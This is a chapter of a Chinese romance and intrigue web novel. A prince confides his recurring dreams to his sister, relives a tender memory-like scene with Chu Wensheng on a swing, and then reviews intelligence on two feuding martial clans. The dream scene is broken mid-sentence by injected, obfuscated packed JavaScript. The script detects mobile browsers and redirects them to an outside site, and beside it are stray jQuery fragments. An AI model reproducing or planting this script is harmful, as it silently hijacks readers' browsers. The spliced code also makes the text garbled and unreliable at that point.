35. 心意

“什么?”


“你说什么?我还以为出什么大事了,感情你去而复返就为了问我这个吗?”


“阿姐,你会不会白日见到一个人,晚上就梦见她,情绪更是受到她的影响,靠近她就会觉得心跳剧烈,像是要跳出胸腔。”


他每次看见她,都会觉得有一种喘不过气的痛楚,那是一种很复杂的情绪,他理不清,只能将原因归为见到她。她笑了他也会为她开心,在她目不能及的地方,在他们的数次见面里,他都曾注视过她。


每次遇见,他都会大病一场,陷入梦魇,梦里面他和她在光阴里温馨而美好的甜蜜,转眼就变成冷光、冰雨和血水,他死了,然后看着她同样葬身火海。他被封在透明的墙里,看着她痛苦挣扎却救不得,他不知道自己是怎么了。


李辞盈苦笑一声:“阿姐,我的病难道又加重了吗?”


宝华公主:?


她默默地翻了个白眼,以看傻子的眼神看向李辞盈:“你的确病了,还挺严重的。”


“是不是还会梦见一些奇怪的画面,还有你自己和她一起的?”


李辞盈蹙眉,点头,确实是。最诡异的一个梦里,他们隔着一个长街的暴雨对立相望,地上鲜红的血顺着衣摆攀援而上。


宝华公主接过婢女手中绢扇,挡住自己打趣的笑意:“是相思病。”


“有容啊有容,你也有今日呵。”


“皇姐从前看那赵氏子,难道也是这般感受?”


李辞盈没有任何嘲讽的意思,但是宝华公主听罢,面色瞬间冷了下来,近几日她回首过去几年,自己都觉得自己像傻子,更不要说别人的想法了。


宝华公主突然没了兴致,有气无力摆摆手,把李辞盈赶走了。


不过他今日这么一来,倒是提醒她了。


天热起来了,虎儿总发疹子,她这个清闲的公主,也该顺圣意带着女儿,离京避“暑”去。


—————————


“殿下,殿下!陪我荡秋千吧~”


王府后花园里种满了花,在日光的光晕下,花瓣显现出丝绸般的光泽。有个轻灵愉悦的女声在唤他。


这里不是似乎他的宁王府,装潢几乎完全不同,可是殿宇是相同的。李辞盈分花拂叶走进那团光晕里,心中却早已泛起期待,心跳开始微微加速。


果然,是她。


楚闻笙坐在秋千上笑得明媚,秋千一上一下,她的衣裙翻飞,长发和粉色的丝带随风飞舞着,鲜活而耀眼。


于是他也笑了,走上前去,故意使坏,拦停了她的秋千。


“殿下!”


她的脸鼓起来圆嘟嘟的,年轻的面庞上还带着少女独有的一层浅金色的绒,像他年少狩猎时抓到的胖胖的小狐狸崽子。


见他还愣在那里控制着她的秋千,楚闻笙起了小性子,故意将身体往后靠用头去搡他的胸膛,结果一个没稳住,双手抓着秋千的绳子,整个人在秋千椅子上翻滚了半圈,头发沾了一地的碎花落叶,身边的蝴蝶被惊得四散飞走。


旁边的侍女仆从们都传来隐隐的笑意,李辞盈更是忍不住笑出了声音。


她的脑袋毛茸茸乱糟糟的,仰头怒视着他:“你在嘲笑我。”


“没有哦。”李辞盈抬手一片一片拾起她头上的花瓣,收集在自己的掌心,拢作一团,然后全部抛洒向天空。


花瓣落下的一刹那,闻笙停下了口中本要说出的话,似有所感般抬头,懵懂地看向李辞盈。李辞盈却只是无奈一笑,摘下一朵春花,别在了她的发间。


他不知道她在想什么,也不敢想,如果她是一只蝴蝶,就不该留恋一朵即将腐烂的花,如果她是一棵树,就该从淤泥之中汲取养分,而不是在泥沼之中越陷越深。


李辞盈的胸腔微微发痛,他的病一年比一年重,腿疾也逐渐严重起来。原本只有冬日里才会隐隐作痛的腿,今年冬日已经演变成从足底到大腿的麻木,进入春日,仍然时不时感到骨头缝隙里渗出的疼和冷。


李辞盈又伸手别了她鬓边的碎发,掸去她肩上的微尘。


注定没有结果的,就不该开始。至于自己心脏的那股痛感...他早已不重要了。


“我来推你吧。”


楚闻笙嗔了他一眼,李辞盈双手握住秋千的两条绳子,在闻笙的手触碰的一瞬间,退避开。


“扶好哦。”


二人一时无话,只有轻微的风,拂过心上。他望着少女的发顶,猜她的表情,她一定会苦恼吧,他的态度变得其实不明显,但是她一向是个敏感且敏锐的人。


他都能想到她的表情了,肯定在酝酿着一些别的话题,果然,她开口:“殿下,你能说说你以前的故事吗?我在你的书房里念书,看到了博古架上摆了弓和刀剑,可我从未见过殿下舞刀弄剑。”


李辞盈身边的侍从都神色一滞,李辞盈本人却早已不再忌讳:“我年少时,还康健时,曾也习君子六艺。”


“十三岁那年,我随兄长征战西北,踏过茫茫荒原走进皑皑雪山,我与姐...太子皇兄总是打头阵,我做他的副手,那时...”


“后来受伤回京,全权听从父皇的安排行事,也不需要再做什么危险的事情,这些年养尊处优,武艺什么的也都荒废了。”


“那你娶我...算了,没什么,殿下,雪山是什么样子的啊,漂亮吗?”


“嗯,苍茫冷肃,很是壮丽。对了,你既然提到读书,这几位先生也教授你一段时间了,可还习惯?”


“嗯嗯,习惯的,夫子们都很严厉,不过,江夫子似乎有些看不惯女子读书,总要贬损我两句。”闻笙嘟囔着抱怨:“可我确实是觉得读书识字有趣的很,很小的时候母亲不给我读书,后来去了庄子就更加没有机会,回家之后,人们总说我蠢笨。”


李辞盈暗叹一声,精挑细选这么久,还是不行。他抬手,本想捏一捏她的脸颊,触碰的瞬间又改为摸了摸她的头。


“不是你的错,你...这段时间,江夫子的课就不用去了,我替你再寻名师,空余的时间里,不如叫方并生教你骑马拉弓吧。”


闻笙点头应了,眼里满是憧憬和愉悦。李辞盈其实也知道,大梁女子并不兴盛学这些,可他年少时学的就是四书五经君子六艺,都是人,教给她这些总归也没差。


何况,她极为聪慧,那些深奥的道理过目不忘,拗口的文章倒背如流,胜过他年少时多矣。


“那殿下,等我学会了策马,可以陪我去平乐原策马吗?我在小台山上,年年都可以看见秋天金黄的平乐原,我每年都憧憬着能够去...”


李辞盈眼前的画面突然像水波一样荡漾开,他生怕她难过,应了一声“好”,可声音也像隔了一层雾,听起来不真切。


渐渐远去的画面里,秋千架旁的两个人,一坐一立


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15185068|160650||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


。少女眉飞色舞地说着些什么,而青年站在她身后替她推秋千,眉目柔和而内敛。


李辞盈坐起身,一滴泪滴落在被衾上,晕出一个深色的水痕。


他果然,又梦见了她,这一次,是最真切的。


熟悉而陌生的脸,是清晰的,楚闻笙。


白日里他鬼使神地去为她推秋千,晚上就果然夜有所梦,他摸着自己如同鼓擂的心跳,难道真的如阿姐所说,是相思病吗?


这个想法一出,他自己也被吓一跳,自己可是年长她七岁。李辞盈又不禁疑惑,明明是一模一样的脸,为何梦中的她与白日的她那样不同。


窗棂外的月亮照进来,是一种泛着幽蓝的莹白,晚风微凉,李辞盈走到窗前,凉风带来了几分清醒。


不对,梦中的他...腿脚有疾?


那个人是他,他自然是能感受他的思想和情感的,可是那段梦,像极了记忆,梦醒后他依然记得每一个细节,梦不可能如此清晰。而他也明确知道自己不曾伤过双腿,更不会双腿疾病严重到无法行走的地步。


那...难道真的不是梦?可如果这是一段记忆,又代表着什么,预示着什么呢,那他曾经的那些梦,又是否都是一段又一段的记忆呢?


李辞盈和衣在窗边坐到天明。


“禀殿下。”


“说。”


天刚刚擦亮,逢生就端着衣物走进了内室,方并生就随着逢生进来,递上线报。


“殿下,属下快马加鞭,已经探明了灵州温氏的来历。”


“林先生他…果然如殿下所料,刻意延误行程,但是目的不知。”


李辞盈捻着纸张的一角,沉吟片刻,开口道:“你亲自去影卫里寻个人跟着他,有什么异样,来报就是。你去灵州的事情不必在他面前提起,今日的情报我也只当作不知。”


“是。”


“另外,去找影卫跟着闻人。”李辞盈看着手中的情报,逐渐拧起了眉头,他直觉不太对劲。


温…鹤卿…


他细细品味着这个名字。


线报里,三年前闻人家的剧变中,闻人熠指控温鹤卿杀害自己的父母,因此发出通缉令追杀温鹤卿,直到一年前温鹤卿在灵州自立门户。


但是,事情不对劲的地方在于,闻人熠有一个亲妹妹闻人离,一母同胞,闻人离自家中动乱后消失不见,闻人熠对她却发出格杀勿论的悬赏令。


这几个江湖人,会跟近来京中的案件有关吗。


温鹤卿…李辞盈突然想起,自己确实受过腿部的伤,温鹤卿对他的伏击,可不就是两只羽箭直接插穿了自己的大腿,而且还是从臀部从后至前一个极为刁钻的角度。


他也因此不能坐卧,留在原地修养足足八个月有余。


“等等,你此去灵州,快马加鞭才不过须臾几日,这般顺利吗?”


“回殿下,属下也觉得不太寻常,这些信息像是有人整理好送上门一样,探查起来毫不费力,属下也费时与闻人那边的影子验证过,的确无误。”


既然如此…


温鹤卿这般戏耍他,又嫁祸给闻人氏,除了有和闻人氏的私怨,会不会是在引导些什么…


楚小姐在山上遇袭的那些羽箭,会不会又反而是闻人氏的局呢?


“你辛苦了,去修整几日吧。”


“逢生,去替我换套衣服,我要进宫一趟。”